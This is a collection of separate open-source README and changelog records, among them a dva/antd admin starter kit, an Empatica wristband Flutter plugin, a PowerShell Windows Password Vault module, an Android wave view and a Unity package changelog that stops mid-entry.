text:
[![LICENSE](https://img.shields.io/badge/license-Anti%20996-blue.svg)](https://github.com/996icu/996.ICU/blob/master/LICENSE)
[![MIT Licence](https://badges.frapsoft.com/os/mit/mit.svg?v=103)](https://opensource.org/licenses/mit-license.php)
[![TypeScript](https://badges.frapsoft.com/typescript/version/typescript-next.svg?v=101)](https://github.com/ellerbrock/typescript-badges/)
[![HitCount](http://hits.dwyl.io/wanliyunyan/wanliyunyan/dva-typescript-antd-starter-kit.svg)](http://hits.dwyl.io/wanliyunyan/wanliyunyan/dva-typescript-antd-starter-kit)

# dva-typescript-antd-starter-kit

A admin dashboard application demo based on antd
Now it is not perfect, then I will continue to improve the project.
If you don’t understand Chinese, it doesn’t matter. Clone this repo and npm intall, You can use it directly.

## Browser Support

![Chrome](https://raw.github.com/alrra/browser-logos/master/src/chrome/chrome_48x48.png) | ![Firefox](https://raw.github.com/alrra/browser-logos/master/src/firefox/firefox_48x48.png) | ![Safari](https://raw.github.com/alrra/browser-logos/master/src/safari/safari_48x48.png) | ![Opera](https://raw.github.com/alrra/browser-logos/master/src/opera/opera_48x48.png) | ![Edge](https://raw.github.com/alrra/browser-logos/master/src/edge/edge_48x48.png) | ![IE](https://raw.github.com/alrra/browser-logos/master/src/archive/internet-explorer_9-11/internet-explorer_9-11_48x48.png) |
--- | --- | --- | --- | --- | --- |
Latest ✔ | Latest ✔ | No | No | No | No |

## Demo
https://wanliyunyan.github.io/dva-typescript-antd-starter-kit/dist

## Installation

```bash
npm install
npm install -g json-server # global
```

## Running Dev Server

```bash
npm run dev
```

## Building

```bash
npm run build
```

## cnpm
如果你使用webstorm和阿里的cnpm那么，直接双击左下角npm中的cnpm即可

## Mock
click mockjs，start mock data, You can see the effect of the mock data in the "列表页-查询表格".

## Linter
eslint:fix Can automatically repair a part of the code

styleint detect style

prettier format code

## Babel
update to babel7

## Webpack
update to webpack5

## Contents

```bash
├── /build/
├── /dist/
├── /mock/
├── /src/
│ ├── /assets/
│ │ └── /images/
│ │ └── /style/
│ ├── /common/
│ ├── /components/
│ ├── /layouts/
│ ├── /models/
│ ├── /routes/
│ ├── /services/
│ ├── /utils/
│ │ └── request.js
│ │ └── utils.js
│ ├── favicon.ico
│ ├── index.html
│ ├── index.less
│ ├── index.tsx
│ └── route.tsx
├── .browserslistrc
├── .editorconfig
├── .eslintrc
├── .gitignore
├── .lintstagedrc
├── .stylelintrc
├── babel.config.js
├── package.json
├── postcss.config.js
├── README.md
├── tsconfig.json
└── webpack.config.js
```

## Package
dependencies
-   [@ant-design/icons](https://github.com/ant-design/ant-design) A UI Design Language..
-   [antd](https://github.com/ant-design/ant-design) A UI Design Language.
-   [axios](https://github.com/axios/axios) Promise based HTTP client for the browser and node.js.
-   [classnames](https://github.com/JedWatson/classnames) A simple javascript utility for conditionally joining classNames together.
-   [dayjs](https://github.com/iamkun/dayjs) Day.js 2KB immutable date-time library alternative to Moment.js with the same modern API.
-   [dva](https://github.com/dvajs/dva) Lightweight front-end framework based on redux, redux-saga and react-router.
-   [dva-loading](https://github.com/dvajs/dva/tree/master/packages/dva-loading) Auto loading plugin for dva. 👏 You don't need to write showLoading and hideLoading any more.
-   [lodash](https://github.com/lodash/lodash) A modern JavaScript utility library delivering modularity, performance, & extras.
-   [mockjs](https://github.com/nuysoft/Mock) A simulation data generator.
-   [query-string](https://github.com/sindresorhus/query-string) Parse and stringify URL query strings.
-   [react](https://github.com/facebook/react) A declarative, efficient, and flexible JavaScript library for building user interfaces.
-   [react-dom](https://github.com/facebook/react) This package serves as the entry point of the DOM-related rendering paths. It is intended to be paired with the isomorphic React, which will be shipped as react to npm.
-   [swr](https://github.com/zeit/swr) React Hooks library for remote data fetching.

devDependencies
-   [@babel/core](https://github.com/babel/babel) Babel is a compiler for writing next generation JavaScript.
-   [@babel/plugin-proposal-nullish-coalescing-operator](https://github.com/babel/babel) Babel is a compiler for writing next generation JavaScript.
-   [@babel/plugin-proposal-optional-chaining](https://github.com/babel/babel) Babel is a compiler for writing next generation JavaScript.
-   [@babel/plugin-transform-runtime](https://github.com/babel/babel) Babel is a compiler for writing next generation JavaScript.
-   [@babel/preset-env](https://github.com/babel/babel) Babel is a compiler for writing next generation JavaScript.
-   [@babel/preset-react](https://github.com/babel/babel) Babel is a compiler for writing next generation JavaScript.
-   [@babel/preset-typescript](https://github.com/babel/babel) Babel is a compiler for writing next generation JavaScript.
-   [@babel/runtime](https://github.com/babel/babel) Babel is a compiler for writing next generation JavaScript.
-   [@pmmmwh/react-refresh-webpack-plugin](https://github.com/pmmmwh/react-refresh-webpack-plugin) A Webpack plugin to enable "Fast Refresh" (also previously known as Hot Reloading) for React components.
-   [@types/classnames](https://github.com/DefinitelyTyped/DefinitelyTyped) This package contains type definitions for react.
-   [@types/lodash](https://github.com/DefinitelyTyped/DefinitelyTyped) This package contains type definitions for lodash.
-   [@types/react](https://github.com/DefinitelyTyped/DefinitelyTyped) This package contains type definitions for classnames.
-   [@types/react-dom](https://github.com/DefinitelyTyped/DefinitelyTyped) This package contains type definitions for react-dom.
-   [@types/webpack](https://github.com/DefinitelyTyped/DefinitelyTyped) This package contains type definitions for webpack.
-   [@typescript-eslint/eslint-plugin](https://github.com/DefinitelyTyped/DefinitelyTyped) This package contains type definitions for typescript-eslint/eslint-plugin.
-   [@types/typescript-eslint/parser](https://github.com/DefinitelyTyped/DefinitelyTyped) This package contains type definitions for typescript-eslint/parser.
-   [autoprefixer](https://github.com/postcss/autoprefixer) Parse CSS and add vendor prefixes to rules by Can I Use.
-   [babel-loader](https://github.com/babel/babel-loader) Webpack plugin for Babel.
-   [babel-plugin-import](https://github.com/ant-design/babel-plugin-import) Modularly import plugin for babel.
-   [clean-webpack-plugin](https://github.com/johnagan/clean-webpack-plugin) A webpack plugin to remove your build folder(s) before building.
-   [compression-webpack-plugin](https://github.com/webpack-contrib/compression-webpack-plugin) Prepare compressed versions of assets to serve them with Content-Encoding.
-   [copy-webpack-plugin](https://github.com/webpack-contrib/copy-webpack-plugin) Copy files and directories with webpack.
-   [css-loader](https://github.com/webpack-contrib/css-loader) CSS Loader.
-   [cssnano](https://github.com/ben-eb/cssnano) A modular minifier, built on top of the PostCSS ecosystem.
-   [cssnano-preset-advanced](https://github.com/ben-eb/cssnano) A modular minifier, built on top of the PostCSS ecosystem.
-   [eslint](https://github.com/eslint/eslint) A fully pluggable tool for identifying and reporting on patterns in JavaScript.
-   [eslint-config-airbnb](https://github.com/airbnb/javascript) A mostly reasonable approach to JavaScript.
-   [eslint-config-prettier](https://github.com/prettier/eslint-config-prettier) Turns off all rules that are unnecessary or might conflict with Prettier.
-   [eslint-import-resolver-webpack](https://github.com/benmosher/eslint-plugin-import/tree/master/resolvers/webpack)
-   [eslint-plugin-import](https://github.com/benmosher/eslint-plugin-import) ESLint plugin with rules that help validate proper imports.
-   [eslint-plugin-jsx-a11y](https://github.com/evcohen/eslint-plugin-jsx-a11y) Static AST checker for a11y rules on JSX elements.
-   [eslint-plugin-prettier](https://github.com/prettier/eslint-plugin-prettier) ESLint plugin for Prettier formatting.
-   [eslint-plugin-react](https://github.com/yannickcr/eslint-plugin-react) React specific linting rules for ESLint.
-   [eslint-plugin-react-hooks](https://github.com/facebook/react) This ESLint plugin enforces the Rules of Hooks.
-   [file-loader](https://github.com/webpack-contrib/file-loader) File Loader.
-   [html-webpack-plugin](https://github.com/jantimon/html-webpack-plugin) Simplifies creation of HTML files to serve your webpack bundles.
-   [husky](https://github.com/typicode/husky) Git hooks made easy.
-   [image-webpack-loader](https://github.com/tcoopman/image-webpack-loader) Image loader module for webpack.
-   [ip](https://github.com/indutny/node-ip) IP address tools for node.js.
-   [json-server](https://github.com/typicode/json-server) Get a full fake REST API with zero coding in less than 30 seconds (seriously).
-   [less](https://github.com/less/less.js) Less. The dynamic stylesheet language.
-   [less-loader](https://github.com/webpack-contrib/less-loader) Compiles Less to CSS.
-   [less-vars-to-js](https://github.com/michaeltaranto/less-vars-to-js) Read LESS variables from the contents of a file and returning them as a javascript object.
-   [lint-staged](https://github.com/okonet/lint-staged) Run linters on git staged files.
-   [mini-css-extract-plugin](https://github.com/webpack-contrib/mini-css-extract-plugin) Lightweight CSS extraction plugin.
-   [postcss](https://github.com/postcss/postcss) Transforming styles with JS plugins.
-   [postcss-import](https://github.com/postcss/postcss-import) PostCSS plugin to inline @import rules content.
-   [postcss-loader](https://github.com/postcss/postcss-loader) PostCSS loader for webpack.
-   [postcss-preset-env](https://github.com/csstools/postcss-preset-env) Convert modern CSS into something browsers understand.
-   [prettier](https://github.com/prettier/prettier) Prettier is an opinionated code formatter.
-   [react-refresh](https://github.com/facebook/react)
-   [sass-loader](https://github.com/webpack-contrib/sass-loader) Compiles Sass to CSS.
-   [source-map-loader](https://github.com/webpack-contrib/source-map-loader) extract sourceMappingURL comments from modules and offer it to webpack.
-   [stylelint](https://github.com/stylelint/stylelint) A mighty, modern CSS linter.
-   [stylelint-config-prettier](https://github.com/shannonmoeller/stylelint-config-prettier) Turns off all rules that are unnecessary or might conflict with prettier.
-   [stylelint-config-rational-order](https://github.com/constverum/stylelint-config-rational-order) Stylelint config that sorts related property declarations by grouping together in the rational order 🚦.
-   [stylelint-config-standard](https://github.com/stylelint/stylelint-config-standard) The standard shareable config for stylelint.
-   [stylelint-declaration-block-no-ignored-properties](https://github.com/kristerkari/stylelint-declaration-block-no-ignored-properties) Disallow property values that are ignored due to another property value in the same rule.
-   [stylelint-order](https://github.com/hudochenkov/stylelint-order) A plugin pack of order related linting rules for stylelint.
-   [svg-sprite-loader](https://github.com/kisenka/svg-sprite-loader) Webpack loader for creating SVG sprites.
-   [terser-webpack-plugin](https://github.com/webpack-contrib/terser-webpack-plugin) Terser Plugin.
-   [typescript](https://github.com/Microsoft/TypeScript) TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-   [url-loader](https://github.com/webpack-contrib/url-loader) URL Loader.
-   [webpack](https://github.com/webpack/webpack) A bundler for javascript and friends. Packs many modules into a few bundled assets. Code Splitting allows to load parts for the application on demand. Through "loaders," modules can be CommonJs, AMD, ES6 modules, CSS, Images, JSON, Coffeescript, LESS, ... and your custom stuff.
-   [webpack-cli](https://github.com/webpack/webpack-cli) Webpack's Command Line Interface.
-   [webpack-dev-server](https://github.com/webpack/webpack-dev-server) Serves a webpack app. Updates the browser on changes.
-   [webpack-merge](https://github.com/survivejs/webpack-merge) SMerge designed for Webpack (MIT).

license: MIT,ICU

detected_licenses: MIT ICU


text:
# Empatica Flutter plugin

Flutter plugin for the [Empatica E4](https://e4.empatica.com/e4-wristband)
wristband on Android. iOS coming soon.

## Install (Flutter)

Add `empatica_e4link` as a dependency in `pubspec.yaml` or run `flutter pub add
empatica_e4link`
For help on adding as a dependency, view the [pubspec documenation](https://flutter.io/using-packages/).

## Android

The package uses your location and bluetooth to fetch data from the eSense ear plugs.
Therefore location tracking and bluetooth must be enabled.

Add the following entry to your `manifest.xml` file, in the Android project of your application:

```xml
<uses-permission android:name="android.permission.BLUETOOTH"/>
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-feature android:name="android.hardware.bluetooth_le" android:required="true"/>
```

Also make sure to obtain permissions in your app to use location and bluetooth.
See the example app on how to e.g. use the [`permission_handler`](https://pub.dev/packages/permission_handler) for this. Note that the plugin **does not** handle permissions - this has to be done on an app level.

Set the Android compile and minimum SDK versions to `compileSdkVersion 33`,
and `minSdkVersion 28` respectively, inside the `android/app/build.gradle` file.

## iOS

Due to compatibility issues with Empatica's SDK, the iOS implementation is not able to function with new CocoaPods and iPhone architectures.

## Usage

The Empatica E4 Flutter plugin has been designed to resemble the Android
Empatica API almost **1:1**. Hence, you should be able to recognize the names
of the different classes and class variables.
For example, the methods on the `EmpaticaDeviceManager` class is mapped 1:1.
See the [Empatica Android documentation](https://developer.empatica.com/empatica-android-sdk-javadoc.zip) on how it all works.

However, one major design change has been done; this Empatica Flutter plugin complies to the Dart/Flutter reactive programming architecture using [Stream](https://api.dart.dev/dart-async/Stream-class.html)s.
Hence, you do not get callbacks to an Empatica device (as you do in Java) -- rather, you obtain a Dart stream and listen to this stream (and exploit all the [other very nice stream operations](https://dart.dev/tutorials/language/streams) which are available in Dart).
Below, we shall describe how to use the Empatica streams.
But first -- let's see how to set up and connect to an Empatica E4 device in the first place.

### Setting up and Connecting to an Empatica Device

All operations on the Empatica device happens via the `Empatica plugin`

At first one must connect to the Empatica backend via an API key given by
Empatica using the `authenticateWithAPIKey` method.

```dart
import 'package:empatica_e4link/empatica.dart';

...

// create a device manager that will handle method calls
EmpaticaPlugin deviceManager = EmpaticaPlugin();

await deviceManager
              .authenticateWithAPIKey('your api key goes ');

...

// first listen to status events before trying to connect
deviceManager.statusEventSink?.listen((event) async {
      switch (event.runtimeType) {
        case UpdateStatus:
          //the status of the device manager
          print((event as UpdateStatus).status)
          break;
        case DiscoverDevice:
          await deviceManager.connectDevice((event as DiscoverDevice).device);
          break;
      }
    });

// when status is READY we can start scanning for devices
await deviceManager.startScanning();

```

Everything with the Empatica API happens asynchronously. Hence, the `connectDevice` call merely initiates the connection
process. In order to know the status of the device manager, you should listen to
status events `statusEventSink`.
This is done via the `statusEventSink` stream.
Note, that if you want to know if your connection to the device is successful, you should initiate listening
**before** the connection is initiated, as shown above.

### Listen to physiological data

When the status is `CONNECTED` the device will be sending all data events to
`dataEventSink`. To get _ALL_ data one should start listening on this stream
before it is connected, e.g. when the status is `CONNECTING`.

```dart
deviceManager.dataEventSink?.listen((event) {
      switch (event.runtimeType) {
        // update each data point with the appropriate data
        case ReceiveBVP:
          event as ReceiveBVP;
          break;
```

The possible data events in the `dataEventSink` are:

- ReceiveBVP
- ReceiveGSR
- ReceiveIBI
- ReceiveTemperature
- ReceiveAcceleration
- ReceiveBatteryLevel
- ReceiveTag
- UpdateOnWristStatus

## Contributing

### Android

The Gradle task useAar in ./android has to be run for the Empatica SDK to be
modeled and used in the Android code.

license: MIT

repository: ened/flutter-plugins

branch_name: refs/heads/master

extension: md

gha_license_id: MIT

license_type: permissive

repo_name: ened/flutter-plugins


text:
# Vault

## Abstract

Provides a PowerShell command-line interface to the "Web Credentials" section of the [Windows Password Vault](https://docs.microsoft.com/en-us/uwp/api/Windows.Security.Credentials.PasswordVault) (called "Credential Manager" in the Windows GUI). This allows for a decent measure of protection for credentials at rest. As always, the best defense for secrets is to make sure only authorized entities can access them, and that authentication of authorized parties is as strong as possible.

## Quick Start

### Example 1: Get a Credential from the Windows Credential Manager

You need to get a stored credential from the Windows Credential Manager. You may need to view the password in clear-text.

```PowerShell
# get the credential without the password by the username
Get-VaultEntry -UserName test

UserName Resource         Password Properties
-------- --------         -------- ----------
test     http://test.com/          {[hidden, False], [applicationid, 00000000-0000-0000-0000-000000000000], [application, ]}

# get the same credential, this time returning the clear-text password

Get-VaultEntry -UserName test -IncludePassword

UserName Resource         Password Properties
-------- --------         -------- ----------
test     http://test.com/ test     {[hidden, False], [applicationid, 00000000-0000-0000-0000-000000000000], [application, ]}

```

### Example 2: Store a Credential in the Windows Credential Manager

You need to use an API key in clear-text with an API, but you do not want to store the key in clear-text.
You want the key to be decrypted by the same user on the same computer it was encrypted on.

```PowerShell
# get the credential
$credToAdd = Get-Credential

# add it to the Password Vault
Add-VaultEntry -Credential $credToAdd -Resource http://test.com

```

### Example 3: Remove a Credential from the Windows Credential Manager

You need to remove a credential from the Windows Credential Manager.

```PowerShell
# remove the credential by resource
Remove-VaultEntry -Resource http://test.com/ -Verbose
```

repository: LastMisadventure/Vault

repo_name: LastMisadventure/Vault


text:
# WaveView - Android custom view.

[![License](https://img.shields.io/badge/License-Apache%202-blue.svg)](http://www.apache.org/licenses/LICENSE-2.0.html)
[![API](https://img.shields.io/badge/API-8%2B-brightred.svg)](https://github.com/developer-shivam/WaveView.git)
[![Android Arsenal](https://img.shields.io/badge/Android%20Arsenal-WaveView-green.svg?style=true)](https://android-arsenal.com/details/1/4378)

### Min SDK 9 (Android 2.3–2.3.1 Gingerbread)

### Preview
![gif](screenshots/wave_gif.gif) ![screenshot](screenshots/screenshot.png)

### About
This custom view is sturctured of Sine Wave Equation.

The sine wave formula is :
y(t) = A sin(2πft + ρ) = A sin(ωt + ρ)

The above formula can be explained in sound terms as follows:

y = amplitude X sin ( 2π ( velocity of rotation in cycles per second))

Increasing the amplitude of the sine wave, how high the tops and bottoms of the wave go, increases the volume.  Increasing or decreasing the cycle rate, how many cycles over distance/time, increases and decreases the pitch of the sound – how high or low the tone sounds.

### Implementation (XML)

```xml
	<developer.shivam.library.WaveView
        android:id="@+id/sample_wave_view"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        wave:wave_speed="1"
        wave:wave_height="2"/>
```
### Implementation (Java)
``` java
WaveView view = new WaveView(this);
        view.setSpeed(5);
        view.setAmplitude(5);
        setContentView(view);
```

To use this awesome library you first need to add below lines to build.gradle at your project root level

```xml
allprojects {
		repositories {
			...
			maven { url "https://jitpack.io" }
		}
	}
```

And then add dependency to your app build.gradle file
```xml
dependencies {
	        compile 'com.github.developer-shivam:WaveView:1.0'
	}
```

And you're done!

#### Features
- Two attribute to control wave behaviour.
- One for controlling the amplitude of wave (Height of wave).
- Second to control speed of wave (Movement along x-axis).

#### What else to come
- Wave height controlled with sound input
- Different color palettes


text:
# Sporobolus indicus (L.) R.Br. SPECIES

#### Status
ACCEPTED

#### According to
The Catalogue of Life, 3rd January 2011

#### Published in
Prodr. 170. 1810

#### Original name
Agrostis indica Forssk.

### Remarks
null

repository: mdoering/backbone

repo_name: mdoering/backbone


text:
# OnlyOnce

Uses redis to ensure a ruby block only runs once for a given key in a period of time.

But if the code is run additional times, the result is read out of redis so the
subsequent calls continue to execute as if they had run the block.

One example usage might be if you have a one time use token that you exchange
for information from a 3rd party service, but for some reason you can not
guarantee that the code that makes the token exchange will be run only once.

## Installation

Add this line to your application's Gemfile:

    gem 'only_once'

And then execute:

    $ bundle

Or install it yourself as:

    $ gem install only_once

## Usage

    result = Only.once(key) do
      # block of code that will only be run once
      # for the key

      true
    end

If the block is called more than once, the subsequent calls will wait until the
first block finishes, get the result of the first run and continue as if the
block had been executed.

## Contributing

1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`)
5. Create new Pull Request


text:
# ToDo-WebApp

ReactJS & Bootstrap WebApp. This app allows you to create and manage your own to-do list.

## Features

- creating new tasks,
- deleting tasks,
- task status management,
- task search,
- history of completed tasks

## Desktop version
![desktop](https://user-images.githubusercontent.com/34821903/89432425-6543a700-d741-11ea-8feb-0edc00fe394b.png)

## Mobile version
![mobile](https://user-images.githubusercontent.com/34821903/89432518-84423900-d741-11ea-9011-4bc3cd821874.png)

## Technologies
- React
- Bootstrap
- Bootswatch
- Font Awesome
- gh-pages (deployment)

## Live

https://matbocz.github.io/todo-webapp/

## Local installation

- npm install
- npm start

repository: matbocz/todo-webapp

repo_name: matbocz/todo-webapp


text:
# Changelog

### [1.3.15](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.3.14...v1.3.15) (2021-07-21)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([dd1ad75](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/dd1ad753f379615e8dae48b7cf5f6c3fba6f1e16))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.7.14 to 1.7.15. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.7.14...v1.7.15)

### [1.3.14](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.3.13...v1.3.14) (2021-07-21)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([47112e4](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/47112e4cd0f4d5423dc1e7e71e3562dfa67af203))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.7.13 to 1.7.14. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.7.13...v1.7.14)

### [1.3.13](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.3.12...v1.3.13) (2021-07-19)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([247e6e9](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/247e6e9c02a73cc9eb852206214b61f26a09a829))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.7.12 to 1.7.13. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.7.12...v1.7.13)

### [1.3.12](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.3.11...v1.3.12) (2021-07-19)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([e2d5c17](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/e2d5c1780b3ae2f926036559a7e454dd65a40510))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.7.11 to 1.7.12. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.7.11...v1.7.12)

### [1.3.11](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.3.10...v1.3.11) (2021-06-24)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([5a7a55f](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/5a7a55faa327164393c2958fa6ab6704e5b4f544))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.7.9 to 1.7.11. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.7.9...v1.7.11)

### [1.3.10](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.3.9...v1.3.10) (2021-06-19)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([68c3139](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/68c3139e550950e2d3db50f1f76293de1925d432))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.7.7 to 1.7.9. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.7.7...v1.7.9)

### [1.3.9](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.3.8...v1.3.9) (2021-06-10)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([005092f](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/005092f4f5d05c05bc5a19cca13788f17d7370a6))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.7.5 to 1.7.7. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.7.5...v1.7.7)

### [1.3.8](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.3.7...v1.3.8) (2021-06-10)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([77f6f12](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/77f6f122e1d6f4246e986885b2d8687ac12373dc))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.7.4 to 1.7.5. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.7.4...v1.7.5)
* **README.md:** update title logo to related-media repo ([f65edec](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/f65edec8cd06f2da5da7b1f837a6f5de6343a463))
  > The title logo is now located on the related-media repo.

### [1.3.7](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.3.6...v1.3.7) (2021-05-09)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([fd575d1](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/fd575d1da1a991286967c5f445813a6044397c25))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.7.3 to 1.7.4. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.7.3...v1.7.4)
  >
  > Signed-off-by: dependabot[bot]<EMAIL_ADDRESS>
### [1.3.6](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.3.5...v1.3.6) (2021-05-09)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([286df09](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/286df09aa916d29236e0ddb7f4ca4db42953d21f))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.7.2 to 1.7.3. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.7.2...v1.7.3)
  >
  > Signed-off-by: dependabot[bot]<EMAIL_ADDRESS>
### [1.3.5](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.3.4...v1.3.5) (2021-05-03)

#### Miscellaneous Chores

* **deps:** bump io.extendreality.tilia.indicators.spatialtargets.unity ([b0eeb6d](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/commit/b0eeb6d6edd73c930e346282780f152fd93feff6))
  > Bumps [io.extendreality.tilia.indicators.spatialtargets.unity](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity) from 1.7.1 to 1.7.2. - [Release notes](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/releases) - [Changelog](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/blob/master/CHANGELOG.md) - [Commits](https://github.com/ExtendRealityLtd/Tilia.Indicators.SpatialTargets.Unity/compare/v1.7.1...v1.7.2)
  >
  > Signed-off-by: dependabot[bot]<EMAIL_ADDRESS>
### [1.3.4](https://github.com/ExtendRealityLtd/Tilia.Interactions.SpatialButtons.Unity/compare/v1.3.3...v1.3.4) (2021-05-03)

#### Miscellaneous Chores

